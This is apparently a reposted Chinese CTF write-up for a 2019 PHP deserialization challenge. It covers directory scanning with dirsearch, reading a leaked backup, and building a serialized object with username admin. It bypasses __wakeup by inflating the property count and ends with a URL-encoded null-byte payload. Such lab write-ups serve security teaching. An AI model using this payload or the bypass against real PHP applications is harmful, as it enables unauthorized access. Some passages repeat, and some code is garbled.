[极客大挑战 2019]PHP(反序列化)
介绍说明,有备份的习惯,找常见的备份文件后缀名
使用dirsearch进行扫描
dirsearch -u http://f64378a5-a3e0-4dbb-83a3-990bb9e19901.node4.buuoj.cn:81/ -e php
-e 指定网站语言
扫描出现,www.zip文件
查看index.php
GET传递select,包含class.php
查看class.php
查看输出flag条件,发现多个函数__wakeup()等多个序列化函数
补充知识点:
常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction():结束时销毁对象,当一个对象销毁时被调用
username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } }}?>
根据class.php内容,手动构造反序列化
username = $username; $this->password = $password; }}$a = new Name('admin', 100);var_dump(serialize($a));?>
代码是一个简单的 PHP 类,名为 “Name”,其中包含了一个私有属性 $username 和 $password,以及一个公共的构造函数 __construct。构造函数用于初始化对象的属性值。
在代码末尾,通过实例化 “Name” 类,并传入参数 ‘admin’ 和 100 来创建一个对象 $a。然后使用 serialize() 函数对该对象进行序列化,并使用 var_dump() 打印序列化结果。
挂载phpstudy。Web 服务器上运行该 PHP 文件
"O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
输出结果中Name和username,Name和password之间是有不可见字符的,因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)
这是一个使用 PHP 序列化函数 serialize() 序列化的字符串表示形式。让我为您解释一下每个部分的含义:
O:4:“Name”:2:
这表示序列化的对象类型,其中 4 表示类名 “Name” 的长度,“Name” 是类名本身,2 表示该对象有两个属性。
s:14:“Nameusername”;
这表示第一个属性的序列化表示。s 表示字符串类型,14 表示该字符串的长度,“Nameusername” 是属性名称,其中包含了类名 “Name” 作为前缀。
s:5:“admin”;
这表示第一个属性的值,即用户名。5 表示字符串的长度,“admin” 是实际的属性值。
s:14:“Namepassword”;
这表示第二个属性的序列化表示。与第一个属性类似,14 表示字符串的长度,“Namepassword” 是属性名称。
i:100;
这表示第二个属性的值,即密码。i 表示整数类型,100 是实际的属性值。
综上所述,该序列化字符串表示一个名为 “Name” 的对象,它有两个属性:Nameusername 和 Namepassword,分别对应用户名和密码字段的值。
输出结果中Name和username,Name和password之间是有不可见字符的,因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)
另外我们还需要绕过__wakeup方法
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
绕过:O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
protected
Name 替换成了
*
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
参考链接:https://blog.csdn.net/vanarrow/article/details/108242411/
https://www.cnblogs.com/SpouseLJ/p/13209569.html
https://blog.csdn.net/qq_57861415/article/details/129619095
https://blog.csdn.net/weixin_53146913/article/details/123989991
https://zhuanlan.zhihu.com/p/366455343
来源地址:https://blog.csdn.net/mafucan/article/details/131758970
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341